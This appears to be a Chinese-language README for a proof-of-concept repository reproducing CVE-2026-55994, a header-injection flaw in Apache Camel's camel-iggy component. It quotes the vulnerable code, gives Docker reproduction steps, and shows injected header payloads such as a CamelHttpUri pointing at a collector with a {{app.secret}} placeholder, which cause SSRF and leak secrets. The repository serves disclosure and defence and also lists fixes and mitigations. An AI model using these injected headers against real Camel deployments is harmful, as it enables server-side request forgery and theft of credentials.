oscerd/CVE-2026-55994

# camel-iggy User-Header 注入复现程序 (CVE-2026-55994) 本项目演示了 Apache Camel 的 `camel-iggy` 组件中的一个**消息头注入**漏洞，编号为 **CVE-2026-55994**。Iggy consumer 会将入站消息的 **user-headers** 复制到 Camel Exchange 中， **没有任何 `HeaderFilterStrategy`**，因此任何能够向被消费的 Iggy topic 发布消息的人都可以注入 Camel 控制头 —— 特别是 `CamelHttpUri`： ``` // IggyFetchRecords.createExchange (affected 4.18.2) — Iggy message user-headers -> Exchange headers, unfiltered message.userHeaders().ifPresent(userHeaders -> { Map stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap( e -> e.getKey(), e -> e.getValue().value())); exchange.getIn().setHeaders(stringUserHeaders); }); ``` 当路由将该 consumer 桥接到 HTTP producer 时，注入的 `CamelHttpUri` **会覆盖 producer 的 目标 URI** —— 即服务器端请求伪造 (SSRF)。camel-http producer 还会对该攻击者控制的 URI 调用 `resolvePropertyPlaceholders()`，因此注入的 `{{...}}` 引用会被展开为其真实值并发送出去 —— 从而泄露环境变量、应用程序属性或 vault 密钥。 此 PoC 将其影响演示为 **SSRF 加上敏感信息泄露 (CWE-20 → CWE-918 + CWE-200)**。它是 在 CAMEL-23532 中一起修复的三个同级组件之一（连同 `camel-vertx-websocket`，CVE-2026-46726，以及 `camel-atmosphere-websocket`，CVE-2026-55993）。 安全公告：https://camel.apache.org/security/CVE-2026-55994.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-iggy` | | **受影响类** | `org.apache.camel.component.iggy.IggyFetchRecords#createExchange`（在没有任何过滤器的情况下将消息 user-headers 映射为 Exchange headers）| | **CWE** | CWE-20 (输入验证不恰当) → CWE-918 (SSRF) + CWE-200 (信息暴露) | | **影响** | 通过对注入的 URI 进行属性占位符解析，导致 SSRF 和密钥泄露 | | **前置条件** | 路由将 `iggy:` consumer 桥接到 HTTP producer；攻击者可以向被消费的 topic 发布消息 | | **受影响版本** | 从 4.17.0 到 4.18.3 之前，从 4.19.0 到 4.21.0 之前（camel-iggy 在 4.17.0 中引入） | | **修复版本** | 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23532 (PR [apache/camel#23285](https://github.com/apache/camel/pull/23285)) | | **鸣谢** | Kamalpreet Singh | ## 本复现程序如何测试真实漏洞代码 存在漏洞的 `IggyFetchRecords.createExchange(...)` 原封不动地在一条伪造的 Iggy 消息上运行，该消息的 user-headers 由攻击者控制。产生的 Exchange 会流经**真实路由**到达**真实的 camel-http producer**，因此 SSRF 和 `{{...}}` 属性占位符泄露都是真实的。 ## 受害者路由 在实际部署中：`from("iggy:orders?streamName=demo&...").to("http://.../legit-backend")`。在这里， 下游部分为 `from("direct:iggy-delivery").to("http://localhost:8080/legit-backend")`，由真实的 `createExchange` 构建的受感染的 Exchange 提供数据。 ## 仓库结构 ``` CVE-2026-55994/ ├── pom.xml # camel-iggy + camel-http 4.18.2 ├── Dockerfile ├── docker-compose.yml # single self-contained service ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── VictimRoute.java # downstream link -> http://localhost:8080/legit-backend │ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect │ └── ExploitController.java # forges an Iggy message + runs the real createExchange (injects CamelHttpUri) └── resources/ └── application.properties # app.secret=... (leaked via placeholder resolution) ``` ## 前置条件 - Docker 和 Docker Compose - Java 17+ 和 Maven 3.8+ ## 复现步骤 ``` mvn clean package -DskipTests docker compose up -d --build curl -s http://localhost:8080/exploit/attack docker compose down ``` ### 预期输出 ``` 1) Ordinary message (user-header x-order-id=A-1001) reached /legit-backend: true reached /internal/secret: false 2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF) server-side request reached /internal/secret: true 3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}' (secret disclosure) attacker's collector received leak = SUPER-SECRET-abc123 equals the app's real secret: true >>> SSRF=true, secret-disclosure=true ``` ## 推荐修复方案 升级到 **4.18.3 / 4.21.0** (CAMEL-23532)。升级后，consumer 会从 Iggy 消息的 user-headers 中过滤掉 `Camel*` headers，因此 `CamelHttpUri` 和其他控制头将无法再被注入。 ## 缓解措施 在升级之前，请勿在未先剥离 Camel 控制头的情况下，将 `iggy:` consumer 直接桥接到 HTTP producer（例如 使用 `removeHeaders("CamelHttp*")`），并从受信任的来源设置 producer 的目标（或者 使用 `bridgeEndpoint=true`）。 ## 免责声明 本复现程序仅用于**安全研究和授权测试**，针对的是**已公开披露并已修复的** 漏洞。未经明确许可，请勿将其用于攻击系统。

标签：JS文件枚举, 域名枚举, 版权保护, 请求拦截